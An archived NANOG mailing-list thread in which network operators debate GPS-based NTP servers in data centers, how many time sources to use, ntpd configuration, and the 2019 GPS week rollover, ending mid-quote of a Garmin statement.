2019 From: james.cutler at consultant.com (James R Cutler) Date: Wed, 1 May 2019 21:55:51 -0400 Subject: NTP question In-Reply-To: <618e1a7c-d300-f3b9-f4b5-edabce7b0d84@nwtime.org> References: <618e1a7c-d300-f3b9-f4b5-edabce7b0d84@nwtime.org> Message-ID: <136F806A-8205-48B7-9205-7F6F2003D38E@consultant.com> > On May 1, 2019, at 9:45 PM, Harlan Stenn wrote: > > > > On 5/1/19 5:39 PM, William Herrin wrote: >> On Wed, May 1, 2019 at 12:23 PM Mehmet Akcin wrote: >> >>> I am trying to buy a GPS based NTP server like this one >>> >>> https://timemachinescorp.com/product/gps-time-server-tm1000a/ >>> >>> but I will be placing this inside a data center, do these need an actual >>> view of a sky to be able to get signal or will they work fine inside a data >>> center building? if you have any other hardware requirements to be able to >>> provide stable time service for hundreds of customers, please let me know. >>> >> >> You buy a powered GPS antenna for it. Which antenna depends on the cable >> length and type. The amplifier in the antenna amplifies the signal just >> enough to overcome the cable loss between the antenna and the receiver. >> Nice thick cables lose less signal. Dinky thin ones are easier to work with. >> >> You sure you need a GPS NTP server? You understand that if you do, you need >> two for reliability right, and probably at geographically diverse >> locations? If you're not on an air-gapped network, consider syncing a >> couple head-end NTP servers against tick and tock (.usno.navy.mil, the >> naval observatory) and not worrying about it. One less piece of equipment >> to manage, update, secure, etc. > > Two is not a great number. If they disagree, there is no majority > clique to be found. > > Also, there is something to be said for using different models/vendors > for the time sources. If you only have the same model from one vendor > and there is a bug, you can lose all your time sources at once. The > GPS week rollover happens every ~19.7 years, and when that problem hits > is a function of the firmware and a manufacturing date put in the firmware. > > These problems can be mitigated if you have "enough" time sources for > your internal NTP servers and you peer with enough other, possibly your, > servers. > >> Regards, >> Bill Herrin > > -- > Harlan Stenn > http://networktimefoundation.org - be a member! To amplify the points made by Harlan Stenn: Four is a better number locally for ntpd instances. As for different models/vendors for the time sources, I consider the GPS constellation as one vendor so I add multiple internet-connected sources as well to my ntp.conf instances. James R. Cutler James.cutler at consultant.com GPG keys: hkps://hkps.pool.sks-keyservers.net -------------- next part -------------- An HTML attachment was scrubbed... URL: From stenn at nwtime.org Thu May 2 02:02:49 2019 From: stenn at nwtime.org (Harlan Stenn) Date: Wed, 1 May 2019 19:02:49 -0700 Subject: NTP question In-Reply-To: References: <61db3c2f7a8ff84e9e826d3d57aaadd7@mail.dessus.com> Message-ID: On 5/1/19 5:55 PM, William Herrin wrote: > On Wed, May 1, 2019 at 5:48 PM Keith Medcalf wrote: > >> If you have one such installation, then you really do not care about the >> "accuracy" of the time. However if you have multiple such installations >> then you want them all to have the same time (if you will be comparing logs >> between them, for example). At some point it becomes "cheaper" to spend >> thousands of dollars per site to have a single Stratum 0 timesource (for >> example, the GPS system) at each site (and thus comparable time stamps) >> than it is to pay someone to go though the rigamarole of computing offsets >> and slew rates between sites to be able to do accurate comparison. And if >> you communicate any of that info to outsiders then being able to say "my >> log timestamps are accurate to +/- 10 nanoseconds so it must be you who is >> farked up" (and be able to prove it) has immense value. >> > > If your network is air gapped from the Internet then sure. If it's not, you > can run NTP against a reasonably reliable set of time sources (not random > picks from Pool) and be able to say, "my log timestamps are accurate to +/- > 10 milliseconds so it must be you who is farked up." While my milliseconds > loses the pecking order contest, it's just as good for practical purposes > and a whole lot less expensive. It's not clear to me that there's anything *wrong* with using the pool, especially if you're using our 'pool' directive in your config file. That directive will bring up ~10 associations and continuously evaluate their quality, throwing out the poor performers and soliciting new servers of currently-good quality to replace them. This goes to "have _enough_ good-quality servers, and monitor your ntpd". > If your system is Internet-connected. If you run an air gapped network then > yeah, get your time out of band. > > Regards, > Bill Herrin > > -- Harlan Stenn http://networktimefoundation.org - be a member! From nanog at ics-il.net Thu May 2 02:06:31 2019 From: nanog at ics-il.net (Mike Hammett) Date: Wed, 1 May 2019 21:06:31 -0500 (CDT) Subject: NTP question In-Reply-To: <136F806A-8205-48B7-9205-7F6F2003D38E@consultant.com> References: <618e1a7c-d300-f3b9-f4b5-edabce7b0d84@nwtime.org> <136F806A-8205-48B7-9205-7F6F2003D38E@consultant.com> Message-ID: <2053074895.2377.1556762790369.JavaMail.mhammett@ThunderFuck> What about GPS, GLONASS, Galileo, etc.? ----- Mike Hammett Intelligent Computing Solutions http://www.ics-il.com Midwest-IX http://www.midwest-ix.com ----- Original Message ----- From: "James R Cutler" To: "Harlan Stenn" Cc: nanog at nanog.org Sent: Wednesday, May 1, 2019 8:55:51 PM Subject: Re: NTP question On May 1, 2019, at 9:45 PM, Harlan Stenn < stenn at nwtime.org > wrote: On 5/1/19 5:39 PM, William Herrin wrote:
On Wed, May 1, 2019 at 12:23 PM Mehmet Akcin < mehmet at akcin.net > wrote:
I am trying to buy a GPS based NTP server like this one https://timemachinescorp.com/product/gps-time-server-tm1000a/ but I will be placing this inside a data center, do these need an actual view of a sky to be able to get signal or will they work fine inside a data center building? if you have any other hardware requirements to be able to provide stable time service for hundreds of customers, please let me know. You buy a powered GPS antenna for it. Which antenna depends on the cable length and type. The amplifier in the antenna amplifies the signal just enough to overcome the cable loss between the antenna and the receiver. Nice thick cables lose less signal. Dinky thin ones are easier to work with. You sure you need a GPS NTP server? You understand that if you do, you need two for reliability right, and probably at geographically diverse locations? If you're not on an air-gapped network, consider syncing a couple head-end NTP servers against tick and tock (.usno.navy.mil, the naval observatory) and not worrying about it. One less piece of equipment to manage, update, secure, etc.
Two is not a great number. If they disagree, there is no majority clique to be found. Also, there is something to be said for using different models/vendors for the time sources. If you only have the same model from one vendor and there is a bug, you can lose all your time sources at once. The GPS week rollover happens every ~19.7 years, and when that problem hits is a function of the firmware and a manufacturing date put in the firmware. These problems can be mitigated if you have "enough" time sources for your internal NTP servers and you peer with enough other, possibly your, servers.
Regards, Bill Herrin
-- Harlan Stenn < stenn at nwtime.org > http://networktimefoundation.org - be a member!
To amplify the points made by Harlan Stenn: Four is a better number locally for ntpd instances. As for different models/vendors for the time sources, I consider the GPS constellation as one vendor so I add multiple internet-connected sources as well to my ntp.conf instances. James R. Cutler James.cutler at consultant.com GPG keys: hkps://hkps.pool.sks-keyservers.net
-------------- next part -------------- An HTML attachment was scrubbed... URL: From stenn at nwtime.org Thu May 2 02:30:16 2019 From: stenn at nwtime.org (Harlan Stenn) Date: Wed, 1 May 2019 19:30:16 -0700 Subject: NTP question In-Reply-To: References: Message-ID: Hi Keith, On 5/1/19 6:17 PM, Keith Medcalf wrote: > >> If your network is air gapped from the Internet then sure. If it's >> not, you can run NTP against a reasonably reliable set of time >> sources (not random picks from Pool) and be able to say, "my log >> timestamps are accurate to +/- 10 milliseconds so it must be you who >> is farked up." While my milliseconds loses the pecking order contest, >> it's just as good for practical purposes and a whole lot less >> expensive. > > You mean something like this, which is relatively easy to achieve: > > ============================================================================== > offset -0.000009, frequency -0.823, time_const 30, watchdog 238 > synchronised to NTP server (192.5.41.40) at stratum 2 > time correct to within 12 ms > polling server every 1024 s > ============================================================================== > remote refid st t when poll reach delay offset jitter > ============================================================================== > +clock.sjc.he.ne .CDMA. 1 u 287 1024 377 64.313 0.337 0.867 > -tock.usnogps.na .IRIG. 1 u 5 1024 377 103.080 -2.097 0.316 > -tick.usnogps.na .IRIG. 1 u 806 1024 377 103.053 -2.328 0.363 > +india.colorado. .NIST. 1 u 270 1024 377 41.214 -0.159 0.113 > +time-b-b.nist.g .NIST. 1 u 984 1024 377 42.609 0.200 0.045 > +time-c-b.nist.g .NIST. 1 u 180 1024 377 42.563 0.201 0.064 > +time-a-b.nist.g .NIST. 1 u 163 1024 377 42.639 0.137 0.032 > *192.5.41.40 .PTP. 1 u 235 1024 377 12.756 -0.388 12.479 > -192.5.41.41 .IRIG. 1 u 312 1024 377 13.575 -1.172 2.425 > LOCAL(0) .LOCL. 10 l - 64 0 0.000 0.000 0.000 > ------------------------------------------------------------------------------ > pll offset: -8.474e-06 s > pll frequency: -0.823 ppm > maximum error: 0.123149 s > estimated error: 0.000122 s > status: 2001 pll nano > pll time constant: 10 > precision: 1e-09 s > frequency tolerance: 500 ppm > ============================================================================== That all looks great except for the LOCAL clock at S10. In the event you lose connectivity to the outside, this system will jump from S2 to S10. Depending on the setup of your other systems, groups of them will go sailing off in their own directions. http://support.ntp.org/bin/view/Support/OrphanMode is the better solution. If you cannot do that for some reason, please see the "Dual Time Servers" case at http://support.ntp.org/bin/view/Support/UndisciplinedLocalClock . -- Harlan Stenn http://networktimefoundation.org - be a member! From mel at beckman.org Thu May 2 02:54:25 2019 From: mel at beckman.org (Mel Beckman) Date: Thu, 2 May 2019 02:54:25 +0000 Subject: NTP question In-Reply-To: <95a5410f-8422-4814-e81f-6a02a1af6f2d@nwtime.org> References: <552BC4BD-1503-4D3B-8734-4E13A2BCF62F@develooper.com> , <95a5410f-8422-4814-e81f-6a02a1af6f2d@nwtime.org> Message-ID: <8767F325-88FE-4793-A75D-F5D97DE0D1B1@beckman.org> Harlan, Why? The GPS NTP Server is Stratum-1. If it fails computer clocks will freewheel for hours or days before losing significant time, during which period you can simply order a replacement unit. If that isn’t fast enough, buy two $300 boxes. The “consensus” issue is moot, since a GPS server gets a consensus of clock time from the GPS satellite constellation. The “enough NTP peers” you speak of are simply not necessary. -mel via cell > On May 1, 2019, at 6:49 PM, Harlan Stenn wrote: > > > >> On 5/1/19 4:53 PM, Mel Beckman wrote: >> Ask, >> >> But with a small compact server like the DC-powered TimeMachines Inc unit, which costs something like $300, you simply put the server where the visibility is and connect back to the nearest Ethernet port in your network, up to 300’ away, or virtually any distance with fiber transceivers. We’ve installed these in Cantex boxes on a windy, rainy tenth-story rooftop in upstate NY and it runs flawlessly, warmed by its own internal heat at sub-zero temps, and perfectly happy at ambient temps of 110F. >> >> It’s hard to consider messing with signal converters and pricey remotely-powered active antennas when you can solve the problem for $300. :) > > I sure hope you have ntpd set up to peer or get time with enough other > servers. > > H > -- >> -mel >> >>> On May 1, 2019, at 4:44 PM, Ask Bjørn Hansen wrote: >>> >>> >>> >>>> On May 1, 2019, at 12:22, Mehmet Akcin wrote: >>>> >>>> I am trying to buy a GPS based NTP server like this one >>>> >>>> https://timemachinescorp.com/product/gps-time-server-tm1000a/ >>>> >>>> but I will be placing this inside a data center, do these need an actual view of a sky to be able to get signal or will they work fine inside a data center building? if you have any other hardware requirements to be able to provide stable time service for hundreds of customers, please let me know. >>> >>> [ with my hobby-hat on … ] >>> >>> tl;dr: if any of the below is too much work, just run reasonably well monitored NTP server syncing from other NTP servers. If you want more than that, you need to see the sky. Don’t do the CDMA thing. >>> >>> Depending on your requirements having the antenna in the window may or may not be satisfactory. If it’s fine you probably could just have done a regular NTP server in the first place. For long swaths of the day you might not see too many satellites which will add to the uncertainty of the signal. >>> >>> Meinberg’s GPS antenna has a bit more smarts which helps it work on up to 300 meters on RG58 or 700 meters on RG213. (They also have products that use regular L1 antennas with the limitations Bryan mentioned). >>> >>> https://www.meinbergglobal.com/english/products/gps-antenna-converter.htm >>> >>> They also have a multi-mode fiber box to have the antenna be up to 2km from the box or 20km with their single mode fiber box, if you have fiber to somewhere else where you can see the sky and place an antenna. >>> >>> It will be more than the one you linked to, but their systems are very reasonably priced, too. For “hundreds of customers” whatever is the smallest/cheapest box they have will work fine. Even their smallest models have decent oscillators (for keeping the ticks accurate between GPS signals). >>> >>> The Meinberg time server products (I am guessing all of them, but I’m not sure) also have a mode where they poll an upstream NTP server aggressively and then steer the oscillator after it. I haven’t used it in production, but it worked a lot better than it sounded like it would. (In other words, even without GPS it’s a better time server than most systems). >>> >>> >>> Ask > > -- > Harlan Stenn > http://networktimefoundation.org - be a member! From gem at rellim.com Thu May 2 03:02:28 2019 From: gem at rellim.com (Gary E. Miller) Date: Wed, 1 May 2019 20:02:28 -0700 Subject: NTP question In-Reply-To: <8767F325-88FE-4793-A75D-F5D97DE0D1B1@beckman.org> References: <552BC4BD-1503-4D3B-8734-4E13A2BCF62F@develooper.com> <95a5410f-8422-4814-e81f-6a02a1af6f2d@nwtime.org> <8767F325-88FE-4793-A75D-F5D97DE0D1B1@beckman.org> Message-ID: <20190501200228.61b97258@spidey.rellim.com> Yo Mel! On Thu, 2 May 2019 02:54:25 +0000 Mel Beckman wrote: > Why? The GPS NTP Server is Stratum-1. If it fails computer clocks > will freewheel for hours or days before losing significant time, > during which period you can simply order a replacement unit. If that > isn’t fast enough, buy two $300 boxes. The “consensus” issue is moot, > since a GPS server gets a consensus of clock time from the GPS > satellite constellation. I guess you slept through GPS Week Roll Over day last April 6th? Some GPS went nuts, others did not. Many 777 and 787 were grounded that weekend for software updates to their expensive Honeywell GPS. I'll spare you the many more examples that hapened. Not nice when yoar clock rolls back to 1999, or forward to 2035. RGDS GARY --------------------------------------------------------------------------- Gary E. Miller Rellim 109 NW Wilmington Ave., Suite E, Bend, OR 97703 gem at rellim.com Tel:+1 541 382 8588 Veritas liberabit vos. -- Quid est veritas? "If you can’t measure it, you can’t improve it." - Lord Kelvin -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 851 bytes Desc: OpenPGP digital signature URL: From stenn at nwtime.org Thu May 2 03:13:34 2019 From: stenn at nwtime.org (Harlan Stenn) Date: Wed, 1 May 2019 20:13:34 -0700 Subject: NTP question In-Reply-To: <8767F325-88FE-4793-A75D-F5D97DE0D1B1@beckman.org> References: <552BC4BD-1503-4D3B-8734-4E13A2BCF62F@develooper.com> <95a5410f-8422-4814-e81f-6a02a1af6f2d@nwtime.org> <8767F325-88FE-4793-A75D-F5D97DE0D1B1@beckman.org> Message-ID: <506345a2-80e2-36c7-3e2b-2debbe11d6ad@nwtime.org> On 5/1/19 7:54 PM, Mel Beckman wrote: > Harlan, > > Why? The GPS NTP Server is Stratum-1. If it fails computer clocks will freewheel for hours or days before losing significant time, during which period you can simply order a replacement unit. If that isn’t fast enough, buy two $300 boxes. The “consensus” issue is moot, since a GPS server gets a consensus of clock time from the GPS satellite constellation. > > The “enough NTP peers” you speak of are simply not necessary. You might be right about the GPS server. It depends on how your $300 box behaves if it loses the GPS signal. The consensus issue isn't about the number of satellites the GPS receiver sees, it's about the number of time sources your NTP servers see. H -- > -mel via cell > >> On May 1, 2019, at 6:49 PM, Harlan Stenn wrote: >> >> >> >>> On 5/1/19 4:53 PM, Mel Beckman wrote: >>> Ask, >>> >>> But with a small compact server like the DC-powered TimeMachines Inc unit, which costs something like $300, you simply put the server where the visibility is and connect back to the nearest Ethernet port in your network, up to 300’ away, or virtually any distance with fiber transceivers. We’ve installed these in Cantex boxes on a windy, rainy tenth-story rooftop in upstate NY and it runs flawlessly, warmed by its own internal heat at sub-zero temps, and perfectly happy at ambient temps of 110F. >>> >>> It’s hard to consider messing with signal converters and pricey remotely-powered active antennas when you can solve the problem for $300. :) >> >> I sure hope you have ntpd set up to peer or get time with enough other >> servers. >> >> H >> -- >>> -mel >>> >>>> On May 1, 2019, at 4:44 PM, Ask Bjørn Hansen wrote: >>>> >>>> >>>> >>>>> On May 1, 2019, at 12:22, Mehmet Akcin wrote: >>>>> >>>>> I am trying to buy a GPS based NTP server like this one >>>>> >>>>> https://timemachinescorp.com/product/gps-time-server-tm1000a/ >>>>> >>>>> but I will be placing this inside a data center, do these need an actual view of a sky to be able to get signal or will they work fine inside a data center building? if you have any other hardware requirements to be able to provide stable time service for hundreds of customers, please let me know. >>>> >>>> [ with my hobby-hat on … ] >>>> >>>> tl;dr: if any of the below is too much work, just run reasonably well monitored NTP server syncing from other NTP servers. If you want more than that, you need to see the sky. Don’t do the CDMA thing. >>>> >>>> Depending on your requirements having the antenna in the window may or may not be satisfactory. If it’s fine you probably could just have done a regular NTP server in the first place. For long swaths of the day you might not see too many satellites which will add to the uncertainty of the signal. >>>> >>>> Meinberg’s GPS antenna has a bit more smarts which helps it work on up to 300 meters on RG58 or 700 meters on RG213. (They also have products that use regular L1 antennas with the limitations Bryan mentioned). >>>> >>>> https://www.meinbergglobal.com/english/products/gps-antenna-converter.htm >>>> >>>> They also have a multi-mode fiber box to have the antenna be up to 2km from the box or 20km with their single mode fiber box, if you have fiber to somewhere else where you can see the sky and place an antenna. >>>> >>>> It will be more than the one you linked to, but their systems are very reasonably priced, too. For “hundreds of customers” whatever is the smallest/cheapest box they have will work fine. Even their smallest models have decent oscillators (for keeping the ticks accurate between GPS signals). >>>> >>>> The Meinberg time server products (I am guessing all of them, but I’m not sure) also have a mode where they poll an upstream NTP server aggressively and then steer the oscillator after it. I haven’t used it in production, but it worked a lot better than it sounded like it would. (In other words, even without GPS it’s a better time server than most systems). >>>> >>>> >>>> Ask >> >> -- >> Harlan Stenn >> http://networktimefoundation.org - be a member! -- Harlan Stenn http://networktimefoundation.org - be a member! From mel at beckman.org Thu May 2 03:30:03 2019 From: mel at beckman.org (Mel Beckman) Date: Thu, 2 May 2019 03:30:03 +0000 Subject: NTP question In-Reply-To: <20190501200228.61b97258@spidey.rellim.com> References: <552BC4BD-1503-4D3B-8734-4E13A2BCF62F@develooper.com> <95a5410f-8422-4814-e81f-6a02a1af6f2d@nwtime.org> <8767F325-88FE-4793-A75D-F5D97DE0D1B1@beckman.org>, <20190501200228.61b97258@spidey.rellim.com> Message-ID: Yo Gary! Not only did I not sleep through it, I was one of the engineers who verified that every GPS clock source in a very large aviation support network didn’t have have this bug. I’m also an FAA licensed A&P mechanic, and have worked for airlines in fleet maintenance. Air carriers have extremely thorough systems reviews, by law, through the Airworthiness Directive program, which started identifying 2019 GPS rollover vulnerabilities in ... 2009! Nobody was surprised. If any GPS systems “went nuts”, it was through the incompetence and negligence of their owners. -mel > On May 1, 2019, at 8:03 PM, Gary E. Miller wrote: > > Yo Mel! > > On Thu, 2 May 2019 02:54:25 +0000 > Mel Beckman wrote: > >> Why? The GPS NTP Server is Stratum-1. If it fails computer clocks >> will freewheel for hours or days before losing significant time, >> during which period you can simply order a replacement unit. If that >> isn’t fast enough, buy two $300 boxes. The “consensus” issue is moot, >> since a GPS server gets a consensus of clock time from the GPS >> satellite constellation. > > I guess you slept through GPS Week Roll Over day last April 6th? > > Some GPS went nuts, others did not. Many 777 and 787 were grounded that > weekend for software updates to their expensive Honeywell GPS. I'll > spare you the many more examples that hapened. > > Not nice when yoar clock rolls back to 1999, or forward to 2035. > > RGDS > GARY > --------------------------------------------------------------------------- > Gary E. Miller Rellim 109 NW Wilmington Ave., Suite E, Bend, OR 97703 > gem at rellim.com Tel:+1 541 382 8588 > > Veritas liberabit vos. -- Quid est veritas? > "If you can’t measure it, you can’t improve it." - Lord Kelvin From mel at beckman.org Thu May 2 03:35:31 2019 From: mel at beckman.org (Mel Beckman) Date: Thu, 2 May 2019 03:35:31 +0000 Subject: NTP question In-Reply-To: <506345a2-80e2-36c7-3e2b-2debbe11d6ad@nwtime.org> References: <552BC4BD-1503-4D3B-8734-4E13A2BCF62F@develooper.com> <95a5410f-8422-4814-e81f-6a02a1af6f2d@nwtime.org> <8767F325-88FE-4793-A75D-F5D97DE0D1B1@beckman.org>, <506345a2-80e2-36c7-3e2b-2debbe11d6ad@nwtime.org> Message-ID: <4529C12D-96AB-4AC7-8848-C62D2FAA638D@beckman.org> I can tell you how the GPS server behaves when it loses it signal: it stops giving out verified time and lapses into Stratum-“goners” mode. But today’s RTP chips don’t start losing seconds-per-day when they are free running. Typically they might lose ten seconds per week on cheap systems. That’s of little concern if you have two GPS clocks. But wait. What is the GPS constellation goes down? THEN we have bigger problems :) It’s possible to over-think the clock problem, just as it’s possible to overthink RAID storage protection. Sometimes a manual restore from backup is just fine. -mel > On May 1, 2019, at 8:13 PM, Harlan Stenn wrote: > > > >> On 5/1/19 7:54 PM, Mel Beckman wrote: >> Harlan, >> >> Why? The GPS NTP Server is Stratum-1. If it fails computer clocks will freewheel for hours or days before losing significant time, during which period you can simply order a replacement unit. If that isn’t fast enough, buy two $300 boxes. The “consensus” issue is moot, since a GPS server gets a consensus of clock time from the GPS satellite constellation. >> >> The “enough NTP peers” you speak of are simply not necessary. > > You might be right about the GPS server. It depends on how your $300 > box behaves if it loses the GPS signal. > > The consensus issue isn't about the number of satellites the GPS > receiver sees, it's about the number of time sources your NTP servers see. > > H > -- >> -mel via cell >> >>> On May 1, 2019, at 6:49 PM, Harlan Stenn wrote: >>> >>> >>> >>>> On 5/1/19 4:53 PM, Mel Beckman wrote: >>>> Ask, >>>> >>>> But with a small compact server like the DC-powered TimeMachines Inc unit, which costs something like $300, you simply put the server where the visibility is and connect back to the nearest Ethernet port in your network, up to 300’ away, or virtually any distance with fiber transceivers. We’ve installed these in Cantex boxes on a windy, rainy tenth-story rooftop in upstate NY and it runs flawlessly, warmed by its own internal heat at sub-zero temps, and perfectly happy at ambient temps of 110F. >>>> >>>> It’s hard to consider messing with signal converters and pricey remotely-powered active antennas when you can solve the problem for $300. :) >>> >>> I sure hope you have ntpd set up to peer or get time with enough other >>> servers. >>> >>> H >>> -- >>>> -mel >>>> >>>>> On May 1, 2019, at 4:44 PM, Ask Bjørn Hansen wrote: >>>>> >>>>> >>>>> >>>>>> On May 1, 2019, at 12:22, Mehmet Akcin wrote: >>>>>> >>>>>> I am trying to buy a GPS based NTP server like this one >>>>>> >>>>>> https://timemachinescorp.com/product/gps-time-server-tm1000a/ >>>>>> >>>>>> but I will be placing this inside a data center, do these need an actual view of a sky to be able to get signal or will they work fine inside a data center building? if you have any other hardware requirements to be able to provide stable time service for hundreds of customers, please let me know. >>>>> >>>>> [ with my hobby-hat on … ] >>>>> >>>>> tl;dr: if any of the below is too much work, just run reasonably well monitored NTP server syncing from other NTP servers. If you want more than that, you need to see the sky. Don’t do the CDMA thing. >>>>> >>>>> Depending on your requirements having the antenna in the window may or may not be satisfactory. If it’s fine you probably could just have done a regular NTP server in the first place. For long swaths of the day you might not see too many satellites which will add to the uncertainty of the signal. >>>>> >>>>> Meinberg’s GPS antenna has a bit more smarts which helps it work on up to 300 meters on RG58 or 700 meters on RG213. (They also have products that use regular L1 antennas with the limitations Bryan mentioned). >>>>> >>>>> https://www.meinbergglobal.com/english/products/gps-antenna-converter.htm >>>>> >>>>> They also have a multi-mode fiber box to have the antenna be up to 2km from the box or 20km with their single mode fiber box, if you have fiber to somewhere else where you can see the sky and place an antenna. >>>>> >>>>> It will be more than the one you linked to, but their systems are very reasonably priced, too. For “hundreds of customers” whatever is the smallest/cheapest box they have will work fine. Even their smallest models have decent oscillators (for keeping the ticks accurate between GPS signals). >>>>> >>>>> The Meinberg time server products (I am guessing all of them, but I’m not sure) also have a mode where they poll an upstream NTP server aggressively and then steer the oscillator after it. I haven’t used it in production, but it worked a lot better than it sounded like it would. (In other words, even without GPS it’s a better time server than most systems). >>>>> >>>>> >>>>> Ask >>> >>> -- >>> Harlan Stenn >>> http://networktimefoundation.org - be a member! > > -- > Harlan Stenn > http://networktimefoundation.org - be a member! From gem at rellim.com Thu May 2 03:38:37 2019 From: gem at rellim.com (Gary E. Miller) Date: Wed, 1 May 2019 20:38:37 -0700 Subject: NTP question In-Reply-To: References: <552BC4BD-1503-4D3B-8734-4E13A2BCF62F@develooper.com> <95a5410f-8422-4814-e81f-6a02a1af6f2d@nwtime.org> <8767F325-88FE-4793-A75D-F5D97DE0D1B1@beckman.org> <20190501200228.61b97258@spidey.rellim.com> Message-ID: <20190501203837.07b8b595@spidey.rellim.com> Yo Mel! On Thu, 2 May 2019 03:30:03 +0000 Mel Beckman wrote: > I’m also an FAA licensed A&P mechanic, and have worked for airlines > in fleet maintenance. Air carriers have extremely thorough systems > reviews, by law, through the Airworthiness Directive program, which > started identifying 2019 GPS rollover vulnerabilities in ... 2009! > Nobody was surprised. If any GPS systems “went nuts”, it was through > the incompetence and negligence of their owners. How many GPS owners happen to have $30,000 GPS simulators to check their $300 GPS/NTP servers? Some of mine did, most did not. Seems to me the negligence is in the GPS manufacturer that failed to notify their customers. To be fair, Avidyne and Telit did notify their customers, but not with a fix or enough lead time to swap out the units. RGDS GARY --------------------------------------------------------------------------- Gary E. Miller Rellim 109 NW Wilmington Ave., Suite E, Bend, OR 97703 gem at rellim.com Tel:+1 541 382 8588 Veritas liberabit vos. -- Quid est veritas? "If you can’t measure it, you can’t improve it." - Lord Kelvin -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 851 bytes Desc: OpenPGP digital signature URL: From gem at rellim.com Thu May 2 03:40:55 2019 From: gem at rellim.com (Gary E. Miller) Date: Wed, 1 May 2019 20:40:55 -0700 Subject: NTP question In-Reply-To: <4529C12D-96AB-4AC7-8848-C62D2FAA638D@beckman.org> References: <552BC4BD-1503-4D3B-8734-4E13A2BCF62F@develooper.com> <95a5410f-8422-4814-e81f-6a02a1af6f2d@nwtime.org> <8767F325-88FE-4793-A75D-F5D97DE0D1B1@beckman.org> <506345a2-80e2-36c7-3e2b-2debbe11d6ad@nwtime.org> <4529C12D-96AB-4AC7-8848-C62D2FAA638D@beckman.org> Message-ID: <20190501204055.5795c6d6@spidey.rellim.com> Yo Mel! On Thu, 2 May 2019 03:35:31 +0000 Mel Beckman wrote: > I can tell you how the GPS server behaves when it loses it signal: it > stops giving out verified time and lapses into Stratum-“goners” mode. I happen to have a few GPS in my lab that do not agree with your statement. I'll spare this list the details... RGDS GARY --------------------------------------------------------------------------- Gary E. Miller Rellim 109 NW Wilmington Ave., Suite E, Bend, OR 97703 gem at rellim.com Tel:+1 541 382 8588 Veritas liberabit vos. -- Quid est veritas? "If you can’t measure it, you can’t improve it." - Lord Kelvin -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 851 bytes Desc: OpenPGP digital signature URL: From mel at beckman.org Thu May 2 03:56:05 2019 From: mel at beckman.org (Mel Beckman) Date: Thu, 2 May 2019 03:56:05 +0000 Subject: NTP question In-Reply-To: <20190501203837.07b8b595@spidey.rellim.com> References: <552BC4BD-1503-4D3B-8734-4E13A2BCF62F@develooper.com> <95a5410f-8422-4814-e81f-6a02a1af6f2d@nwtime.org> <8767F325-88FE-4793-A75D-F5D97DE0D1B1@beckman.org> <20190501200228.61b97258@spidey.rellim.com> , <20190501203837.07b8b595@spidey.rellim.com> Message-ID: <417A651C-02E5-4E34-ABBA-A96E9A4C045C@beckman.org> Gary, Gary, Gary, You don’t need a $30,000 GPS simulator to verify if a GPS product in your inventory has the rollover bug. You simply ask the supplier to certify that they don’t have the rollover bug. They use their _$100,000_ GPS simulator If needed, but usually it’s done with a trivial code review. If the supplier can’t provide such a certification, then they are no longer a supplier. This tends to persuade them to certify. If you as an air carrier (or any other critical GPS consumer) fail to ask for such a certification in time to field a replacement, that’s your fault. You might not be aware, but zero US air carriers had any unplanned downtime from the GPS rollover. I can’t say the same thing for certain Asian air carriers :) -mel via cell > On May 1, 2019, at 8:39 PM, Gary E. Miller wrote: > > Yo Mel! > > On Thu, 2 May 2019 03:30:03 +0000 > Mel Beckman wrote: > >> I’m also an FAA licensed A&P mechanic, and have worked for airlines >> in fleet maintenance. Air carriers have extremely thorough systems >> reviews, by law, through the Airworthiness Directive program, which >> started identifying 2019 GPS rollover vulnerabilities in ... 2009! >> Nobody was surprised. If any GPS systems “went nuts”, it was through >> the incompetence and negligence of their owners. > > How many GPS owners happen to have $30,000 GPS simulators to check > their $300 GPS/NTP servers? Some of mine did, most did not. > > Seems to me the negligence is in the GPS manufacturer that failed to > notify their customers. > > To be fair, Avidyne and Telit did notify their customers, but not with > a fix or enough lead time to swap out the units. > > RGDS > GARY > --------------------------------------------------------------------------- > Gary E. Miller Rellim 109 NW Wilmington Ave., Suite E, Bend, OR 97703 > gem at rellim.com Tel:+1 541 382 8588 > > Veritas liberabit vos. -- Quid est veritas? > "If you can’t measure it, you can’t improve it." - Lord Kelvin From mel at beckman.org Thu May 2 03:57:38 2019 From: mel at beckman.org (Mel Beckman) Date: Thu, 2 May 2019 03:57:38 +0000 Subject: NTP question In-Reply-To: <20190501204055.5795c6d6@spidey.rellim.com> References: <552BC4BD-1503-4D3B-8734-4E13A2BCF62F@develooper.com> <95a5410f-8422-4814-e81f-6a02a1af6f2d@nwtime.org> <8767F325-88FE-4793-A75D-F5D97DE0D1B1@beckman.org> <506345a2-80e2-36c7-3e2b-2debbe11d6ad@nwtime.org> <4529C12D-96AB-4AC7-8848-C62D2FAA638D@beckman.org>, <20190501204055.5795c6d6@spidey.rellim.com> Message-ID: I’m talking about _my_ GPS server. I have no idea what you’ve cobbled up :) -mel > On May 1, 2019, at 8:41 PM, Gary E. Miller wrote: > > Yo Mel! > > On Thu, 2 May 2019 03:35:31 +0000 > Mel Beckman wrote: > >> I can tell you how the GPS server behaves when it loses it signal: it >> stops giving out verified time and lapses into Stratum-“goners” mode. > > I happen to have a few GPS in my lab that do not agree with your > statement. I'll spare this list the details... > > RGDS > GARY > --------------------------------------------------------------------------- > Gary E. Miller Rellim 109 NW Wilmington Ave., Suite E, Bend, OR 97703 > gem at rellim.com Tel:+1 541 382 8588 > > Veritas liberabit vos. -- Quid est veritas? > "If you can’t measure it, you can’t improve it." - Lord Kelvin From mel at beckman.org Thu May 2 04:02:40 2019 From: mel at beckman.org (Mel Beckman) Date: Thu, 2 May 2019 04:02:40 +0000 Subject: NTP question In-Reply-To: <417A651C-02E5-4E34-ABBA-A96E9A4C045C@beckman.org> References: <552BC4BD-1503-4D3B-8734-4E13A2BCF62F@develooper.com> <95a5410f-8422-4814-e81f-6a02a1af6f2d@nwtime.org> <8767F325-88FE-4793-A75D-F5D97DE0D1B1@beckman.org> <20190501200228.61b97258@spidey.rellim.com> , <20190501203837.07b8b595@spidey.rellim.com>, <417A651C-02E5-4E34-ABBA-A96E9A4C045C@beckman.org> Message-ID: For those wondering what a GPS certification letter for the rollover bug looks like, here’s Garmin’s. Note the phrase “for many years, Garmin has anticipated and prepared for this event...”: Garmin GPS Week Number Rollover Statement What is the GPS Week Number 